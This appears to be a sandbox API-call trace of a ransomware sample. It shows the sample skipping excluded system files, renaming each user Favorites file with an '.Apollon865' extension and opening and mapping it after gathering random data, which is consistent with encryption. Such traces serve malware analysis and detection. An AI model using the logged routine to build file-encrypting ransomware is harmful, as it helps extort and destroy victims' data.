	[0088.687] lstrlenW (lpString="cat") returned 3
	[0088.687] lstrcmpiW (lpString1="url", lpString2="cat") returned 1
	[0088.687] lstrlenW (lpString="cdb") returned 3
	[0088.687] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1
	[0088.687] lstrlenW (lpString="ckp") returned 3
	[0088.687] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1
	[0088.687] lstrlenW (lpString="cma") returned 3
	[0088.687] lstrcmpiW (lpString1="url", lpString2="cma") returned 1
	[0088.687] lstrlenW (lpString="cpd") returned 3
	[0088.687] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1
	[0088.687] lstrlenW (lpString="dacpac") returned 6
	[0088.687] lstrcmpiW (lpString1="ey.url", lpString2="dacpac") returned 1
	[0088.687] lstrlenW (lpString="dad") returned 3
	[0088.687] lstrcmpiW (lpString1="url", lpString2="dad") returned 1
	[0088.687] lstrlenW (lpString="dadiagrams") returned 10
	[0088.687] lstrcmpiW (lpString1=" Money.url", lpString2="dadiagrams") returned -1
	[0088.687] lstrlenW (lpString="daschema") returned 8
	[0088.687] lstrcmpiW (lpString1="oney.url", lpString2="daschema") returned 1
	[0088.687] lstrlenW (lpString="db-journal") returned 10
	[0088.687] lstrcmpiW (lpString1=" Money.url", lpString2="db-journal") returned -1
	[0088.687] lstrlenW (lpString="db-shm") returned 6
	[0088.687] lstrcmpiW (lpString1="ey.url", lpString2="db-shm") returned 1
	[0088.687] lstrlenW (lpString="db-wal") returned 6
	[0088.687] lstrcmpiW (lpString1="ey.url", lpString2="db-wal") returned 1
	[0088.687] lstrlenW (lpString="dbc") returned 3
	[0088.687] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1
	[0088.687] lstrlenW (lpString="dbs") returned 3
	[0088.687] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1
	[0088.688] lstrlenW (lpString="dbt") returned 3
	[0088.688] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1
	[0088.688] lstrlenW (lpString="dbv") returned 3
	[0088.688] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1
	[0088.688] lstrlenW (lpString="dbx") returned 3
	[0088.688] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1
	[0088.688] lstrlenW (lpString="dcb") returned 3
	[0088.688] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1
	[0088.688] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url.Apollon865") returned 77
	[0088.688] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url.apollon865"), dwFlags=0x1) returned 1
	[0088.690] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.690] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=133) returned 1
	[0088.690] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0088.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0088.691] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0088.691] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.691] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.692] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x15c
	[0088.693] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000
	[0088.694] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0088.695] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.695] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.695] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.695] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.695] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.695] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.695] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.695] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.695] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0088.695] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.695] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0088.695] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.695] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0088.695] CloseHandle (hObject=0x15c) returned 1
	[0088.696] CloseHandle (hObject=0x9c) returned 1
	[0088.696] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0088.696] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0088.696] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.696] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1
	[0088.696] lstrcmpiW (lpString1="MSN Sports.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0088.696] lstrcmpiW (lpString1="MSN Sports.url", lpString2="Apollon865.txt.exe") returned 1
	[0088.696] lstrcmpiW (lpString1="MSN Sports.url", lpString2=".") returned 1
	[0088.696] lstrcmpiW (lpString1="MSN Sports.url", lpString2="..") returned 1
	[0088.696] lstrcmpiW (lpString1="MSN Sports.url", lpString2="windows") returned -1
	[0088.696] lstrcmpiW (lpString1="MSN Sports.url", lpString2="bootmgr") returned 1
	[0088.696] lstrcmpiW (lpString1="MSN Sports.url", lpString2="temp") returned -1
	[0088.696] lstrcmpiW (lpString1="MSN Sports.url", lpString2="pagefile.sys") returned -1
	[0088.696] lstrcmpiW (lpString1="MSN Sports.url", lpString2="boot") returned 1
	[0088.696] lstrcmpiW (lpString1="MSN Sports.url", lpString2="ids.txt") returned 1
	[0088.696] lstrcmpiW (lpString1="MSN Sports.url", lpString2="ntuser.dat") returned -1
	[0088.696] lstrcmpiW (lpString1="MSN Sports.url", lpString2="perflogs") returned -1
	[0088.696] lstrcmpiW (lpString1="MSN Sports.url", lpString2="MSBuild") returned 1
	[0088.696] lstrlenW (lpString="MSN Sports.url") returned 14
	[0088.696] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url") returned 66
	[0088.696] lstrcpyW (in: lpString1=0x119e672, lpString2="MSN Sports.url" | out: lpString1="MSN Sports.url") returned="MSN Sports.url"
	[0088.696] lstrlenW (lpString="MSN Sports.url") returned 14
	[0088.696] lstrlenW (lpString="Apollon865") returned 10
	[0088.696] lstrcmpiW (lpString1="Sports.url", lpString2="Apollon865") returned 1
	[0088.696] lstrlenW (lpString=".dll") returned 4
	[0088.696] lstrcmpiW (lpString1="MSN Sports.url", lpString2=".dll") returned 1
	[0088.696] lstrlenW (lpString=".lnk") returned 4
	[0088.696] lstrcmpiW (lpString1="MSN Sports.url", lpString2=".lnk") returned 1
	[0088.697] lstrlenW (lpString=".ini") returned 4
	[0088.697] lstrcmpiW (lpString1="MSN Sports.url", lpString2=".ini") returned 1
	[0088.697] lstrlenW (lpString=".sys") returned 4
	[0088.697] lstrcmpiW (lpString1="MSN Sports.url", lpString2=".sys") returned 1
	[0088.697] lstrlenW (lpString="MSN Sports.url") returned 14
	[0088.697] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url.Apollon865") returned 78
	[0088.697] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url.apollon865"), dwFlags=0x1) returned 1
	[0088.699] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.699] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=133) returned 1
	[0088.699] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.699] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0088.699] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0088.699] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0088.700] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.700] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.700] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x15c
	[0088.703] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000
	[0088.704] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0088.704] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.704] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.705] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.705] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.705] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.705] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.705] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.705] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.705] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0088.705] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.705] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0088.705] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.705] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0088.705] CloseHandle (hObject=0x15c) returned 1
	[0088.705] CloseHandle (hObject=0x9c) returned 1
	[0088.705] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0088.705] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0088.705] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.706] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN.url", cAlternateFileName="")) returned 1
	[0088.706] lstrcmpiW (lpString1="MSN.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0088.706] lstrcmpiW (lpString1="MSN.url", lpString2="Apollon865.txt.exe") returned 1
	[0088.706] lstrcmpiW (lpString1="MSN.url", lpString2=".") returned 1
	[0088.706] lstrcmpiW (lpString1="MSN.url", lpString2="..") returned 1
	[0088.706] lstrcmpiW (lpString1="MSN.url", lpString2="windows") returned -1
	[0088.706] lstrcmpiW (lpString1="MSN.url", lpString2="bootmgr") returned 1
	[0088.706] lstrcmpiW (lpString1="MSN.url", lpString2="temp") returned -1
	[0088.706] lstrcmpiW (lpString1="MSN.url", lpString2="pagefile.sys") returned -1
	[0088.706] lstrcmpiW (lpString1="MSN.url", lpString2="boot") returned 1
	[0088.706] lstrcmpiW (lpString1="MSN.url", lpString2="ids.txt") returned 1
	[0088.706] lstrcmpiW (lpString1="MSN.url", lpString2="ntuser.dat") returned -1
	[0088.706] lstrcmpiW (lpString1="MSN.url", lpString2="perflogs") returned -1
	[0088.706] lstrcmpiW (lpString1="MSN.url", lpString2="MSBuild") returned 1
	[0088.706] lstrlenW (lpString="MSN.url") returned 7
	[0088.706] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url") returned 67
	[0088.706] lstrcpyW (in: lpString1=0x119e672, lpString2="MSN.url" | out: lpString1="MSN.url") returned="MSN.url"
	[0088.706] lstrlenW (lpString="MSN.url") returned 7
	[0088.706] lstrlenW (lpString="Apollon865") returned 10
	[0088.706] lstrlenW (lpString=".dll") returned 4
	[0088.706] lstrcmpiW (lpString1="MSN.url", lpString2=".dll") returned 1
	[0088.706] lstrlenW (lpString=".lnk") returned 4
	[0088.706] lstrcmpiW (lpString1="MSN.url", lpString2=".lnk") returned 1
	[0088.706] lstrlenW (lpString=".ini") returned 4
	[0088.706] lstrcmpiW (lpString1="MSN.url", lpString2=".ini") returned 1
	[0088.706] lstrlenW (lpString=".sys") returned 4
	[0088.706] lstrcmpiW (lpString1="MSN.url", lpString2=".sys") returned 1
	[0088.706] lstrlenW (lpString="MSN.url") returned 7
	[0088.707] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url.Apollon865") returned 71
	[0088.707] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url.apollon865"), dwFlags=0x1) returned 1
	[0088.708] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.708] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=133) returned 1
	[0088.708] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.709] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0088.709] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0088.709] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0088.709] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.709] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.710] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x15c
	[0088.714] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000
	[0088.715] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0088.716] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.716] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.716] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.716] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.716] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.716] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.716] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.716] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.716] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0088.716] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.716] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0088.716] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.716] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0088.716] CloseHandle (hObject=0x15c) returned 1
	[0088.716] CloseHandle (hObject=0x9c) returned 1
	[0088.717] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0088.717] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0088.717] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.717] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1
	[0088.717] lstrcmpiW (lpString1="MSNBC News.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0088.717] lstrcmpiW (lpString1="MSNBC News.url", lpString2="Apollon865.txt.exe") returned 1
	[0088.717] lstrcmpiW (lpString1="MSNBC News.url", lpString2=".") returned 1
	[0088.717] lstrcmpiW (lpString1="MSNBC News.url", lpString2="..") returned 1
	[0088.717] lstrcmpiW (lpString1="MSNBC News.url", lpString2="windows") returned -1
	[0088.717] lstrcmpiW (lpString1="MSNBC News.url", lpString2="bootmgr") returned 1
	[0088.717] lstrcmpiW (lpString1="MSNBC News.url", lpString2="temp") returned -1
	[0088.717] lstrcmpiW (lpString1="MSNBC News.url", lpString2="pagefile.sys") returned -1
	[0088.717] lstrcmpiW (lpString1="MSNBC News.url", lpString2="boot") returned 1
	[0088.717] lstrcmpiW (lpString1="MSNBC News.url", lpString2="ids.txt") returned 1
	[0088.717] lstrcmpiW (lpString1="MSNBC News.url", lpString2="ntuser.dat") returned -1
	[0088.717] lstrcmpiW (lpString1="MSNBC News.url", lpString2="perflogs") returned -1
	[0088.717] lstrcmpiW (lpString1="MSNBC News.url", lpString2="MSBuild") returned 1
	[0088.717] lstrlenW (lpString="MSNBC News.url") returned 14
	[0088.717] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url") returned 60
	[0088.717] lstrcpyW (in: lpString1=0x119e672, lpString2="MSNBC News.url" | out: lpString1="MSNBC News.url") returned="MSNBC News.url"
	[0088.717] lstrlenW (lpString="MSNBC News.url") returned 14
	[0088.717] lstrlenW (lpString="Apollon865") returned 10
	[0088.717] lstrcmpiW (lpString1="C News.url", lpString2="Apollon865") returned 1
	[0088.717] lstrlenW (lpString=".dll") returned 4
	[0088.718] lstrcmpiW (lpString1="MSNBC News.url", lpString2=".dll") returned 1
	[0088.718] lstrlenW (lpString=".lnk") returned 4
	[0088.718] lstrcmpiW (lpString1="MSNBC News.url", lpString2=".lnk") returned 1
	[0088.718] lstrlenW (lpString=".ini") returned 4
	[0088.718] lstrcmpiW (lpString1="MSNBC News.url", lpString2=".ini") returned 1
	[0088.718] lstrlenW (lpString=".sys") returned 4
	[0088.718] lstrcmpiW (lpString1="MSNBC News.url", lpString2=".sys") returned 1
	[0088.718] lstrlenW (lpString="MSNBC News.url") returned 14
	[0088.718] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url.Apollon865") returned 78
	[0088.718] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url.apollon865"), dwFlags=0x1) returned 1
	[0088.721] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.721] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=133) returned 1
	[0088.721] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.721] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0088.721] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0088.721] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0088.722] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.722] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.722] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x15c
	[0088.725] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000
	[0088.725] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0088.726] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.726] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.726] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.726] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.726] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.726] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.726] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.726] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.726] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0088.727] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.727] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0088.727] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.727] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0088.727] CloseHandle (hObject=0x15c) returned 1
	[0088.727] CloseHandle (hObject=0x9c) returned 1
	[0088.727] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0088.727] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
